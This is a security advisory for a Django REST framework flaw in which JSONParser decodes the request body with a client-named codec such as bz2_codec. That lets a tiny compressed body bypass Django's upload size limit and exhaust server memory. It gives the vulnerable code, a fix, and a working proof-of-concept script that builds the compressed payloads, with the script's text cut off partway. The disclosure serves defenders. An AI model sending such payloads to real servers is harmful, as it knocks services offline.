GitHub Advisoryadvisory · PyPI

GHSA-3547-9m27-7rxg Django REST framework: JSONParser applies an attacker-named codec to the request stream

HIGH Published 2026-10-22 Modified 2026-10-22 Official page ↗
Aliases
CVE-2026-114136
Ecosystem
PyPI
Packages
djangorestframework
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weaknesses
CWE-409, CWE-770
Reviewed
2026-10-22

Affected packages

• PyPI djangorestframework: >= 3.6.4, < 3.18.2 → fixed in 3.18.2

Description

Summary An unauthenticated attacker can defeat Django's `DATA_UPLOAD_MAX_MEMORY_SIZE` limit and force a worker process to allocate arbitrary memory, by naming a compression codec in the Content-Type charset parameter. A 108-byte request body produces a 50,331,648-character value inside the view, an amplification factor of 466,033, and grows process peak RSS by about 97 MiB. No application configuration is required beyond DRF's default parser set; the endpoint only has to accept a JSON body. Details `JSONParser.parse` decodes the request body with the charset the client supplied on the Content-Type header: ```python rest_framework/parsers.py encoding = parser_context.get('encoding', settings.DEFAULT_CHARSET) try: decoded_stream = codecs.getreader(encoding)(stream) parse_constant = json.strict_constant if self.strict else None return json.load(decoded_stream, parse_constant=parse_constant) except ValueError as exc: raise ParseError('JSON parse error - %s' % str(exc)) ``` Of the roughly 455 codec names `codecs.lookup` resolves on CPython 3.14, about 18 are byte transforms instead of character sets: `bz2_codec`, `zlib_codec`, `base64_codec`, `hex_codec`, `quopri_codec`, `uu_codec` and similar. `codecs.getreader` is the only entry point in the `codecs` module that does not consult `CodecInfo._is_text_encoding`, so it accepts all of them. Sending `Content-Type: application/json; charset=bz2_codec` wraps the request stream in a bz2 decompressor before `json.load` reads it. The ordering is what makes this exploitable. Django charges `DATA_UPLOAD_MAX_MEMORY_SIZE` against the bytes that arrived on the wire: `rest_framework/request.py` hands `JSONParser` an `io.BytesIO(self.body)`, and `HttpRequest.body` is where `_check_data_too_big()` runs. Decompression happens afterwards, inside the parser, where nothing is counting. This is DRF's defect and not Django's. Django resolves the charset parameter and assigns `request.encoding`, and `codecs.lookup` does resolve byte transforms, but every Django consumer of `request.encoding` goes through the text-codec API and fails closed. Both `bytes.decode('bz2_codec')` and `str(raw, 'bz2_codec')` raise `LookupError: 'bz2_codec' is not a text encoding; use codecs.decode() to handle arbitrary codecs`. DRF is the only caller that hands the request stream to `codecs.getreader`. `FormParser` (`parsers.py:84`) and `MultiPartParser` (`parsers.py:104-118`) take the same client-named encoding but fail closed instead of amplifying. The sink was introduced by `9a228116` (PR #5147, 2017-05-24, "Improve memory footprint when reading large JSON requests"), first released in 3.6.4. The final comment on that PR observes the intended memory gain does not hold because `read()` decodes the whole stream, which is the same property that makes this expansion unbounded. No `_is_text_encoding` check has been added since. A one-line fix at `parsers.py:61-64`: ```python if not codecs.lookup(encoding)._is_text_encoding: raise ParseError('Unsupported charset in Content-Type') ``` PoC Save as `poc_charset_amplification.py` and run it. It builds its own payloads, runs each arm in a fresh subprocess (peak RSS is a high-water mark, so measuring several arms in one process reports near-zero growth for every arm after the first), and prints a verdict. ```python !/usr/bin/env python """ django-rest-framework: JSONParser applies an attacker-named codec to the request stream, defeating DATA_UPLOAD_MAX_MEMORY_SIZE. Four arms, each in a fresh subprocess because peak RSS is a high-water mark and measuring several arms in one process reports ~0 growth for every arm after the first. T ~108-byte bz2 body, Content-Type: application/json; charset=bz2_codec C1 48 MiB plaintext, Content-Type: application/json (no charset) C2 the byte-identical T body, charset=utf-8 C3 zlib body, charset=zlib_codec The claim is T AND C1 AND C2. C1 proves the size limit is live; C2 proves the codec name and not the payload is what produces the expansion. Requires: django, djangorestframework importable. No arguments, nothing to edit. python poc_charset_amplification.py Exit status 0 means every arm behaved as described in the advisory. """ import hashlib import json import os import subprocess import sys import tempfile PAYLOAD_CHARS = 48 * 1024 * 1024 PAYLOAD_DIR = os.path.join(tempfile.gettempdir(), "drf-charset-amp") LIMIT = 65536 ARMS = { "T": ("bz2.bin", "application/json; charset=bz2_codec"), "C1": ("plain.bin", "application/json"), "C2": ("bz2.bin", "application/json; charset=utf-8"), "C3": ("zlib.bin", "application/json; charset=zlib_codec"), } EXPECTED = { "T": "HTTP 200, parsed value orders of magnitude larger than the wire bytes", "C1": "rejected with RequestDataTooBig, view body never runs", "C2": "HTTP 400 ParseError on the byte-identical compressed body", "C3": "HTTP 200, same expansion under a different codec name", } VIEW_RAN = [] def build_payloads(): import bz2 import zlib os.makedirs(PAYLOAD_DIR, exist_ok=True) plain = b'{"a":"' + b"A" * PAYLOAD_CHARS + b'"}' blobs = { "plain.bin": plain, "bz2.bin": bz2.compress(plain, 9), "zlib.bin": zlib.compress(plain, 9), } for name, blob in blobs.items(): with open(os.path.join(PAYLOAD_DIR, name), "wb") as fh: fh.write(blob) return {name: len(blob) for name, blob in blobs.items()} def configure_django(): from django.conf import settings settings.configure( DEBUG=False, ALLOWED_HOSTS=["testserver"], SECRET_KEY="poc", ROOT_URLCONF=__name__, MIDDLEWARE=[], INSTALLED_APPS=[ "django.contrib.contenttypes", "django.contrib.auth", "rest_framework", ], DATABASES={ "default": {"ENGINE": "django.db.backends.sqlite3", "NAME": ":memory:"} }, DEFAULT_CHARSET="utf-8", DATA_UPLOAD_MAX_MEMORY_SIZE=LIMIT, LOGGING_CONFIG=None, USE_TZ=True, ) import django django.setup() def build_view(): from rest_framework.response import Response from rest_framework.views import APIView class Echo(APIView): authentication_classes = [] permission_classes = [] def post(self, request): data = request.data VIEW_RAN.append(True) value = data.get("a") if isinstance(data, dict) else None return Response( {"parsed_value_len": len(value) if isinstance(value, str) else None} ) return Echo def __getattr__(name): # ROOT_URLCONF points at this module; build urlpatterns lazily. if name == "urlpatterns": from django.urls import path value = [path("x", build_view().as_view())] globals()["urlpatterns"] = value return value raise AttributeError(name) def peak_rss_kib(): """Peak resident size of this process. /proc is used where available because ru_maxrss does not track the calling process on every kernel.""" try: with open("/proc/self/status") as fh: for line in fh: if line.startswith("VmHWM:"): return int(line.split(":")[1].strip().split()[0]) except OSError: pass import resource return resource.getrusage(resource.RUSAGE_SELF).ru_maxrss def run_arm(arm): payload_name, content_type = ARMS[arm] with open(os.path.join(PAYLOAD_DIR, payload_name), "rb") as fh: body = fh.read() configure_django() from django.test import Client, RequestFactory client = Client(raise_request_exception=False) # Warm every lazily imported module so the delta measures the request only. client.generic("POST", "/x", data=b'{"a":"A"}', content_type="application/json") VIEW_RAN.clear() before = peak_rss_kib() response = client.generic("POST", "/x", data=body, conte…

Related

Alias · CVE (1)

  • CVE-2026-114136 Django REST framework is a toolkit for building Web APIs. vulnerability

Weakness · CWE (2)

  • CWE-409 Improper Handling of Highly Compressed Data (Data Amplification) weakness
  • CWE-770 Allocation of Resources Without Limits or Throttling weakness

References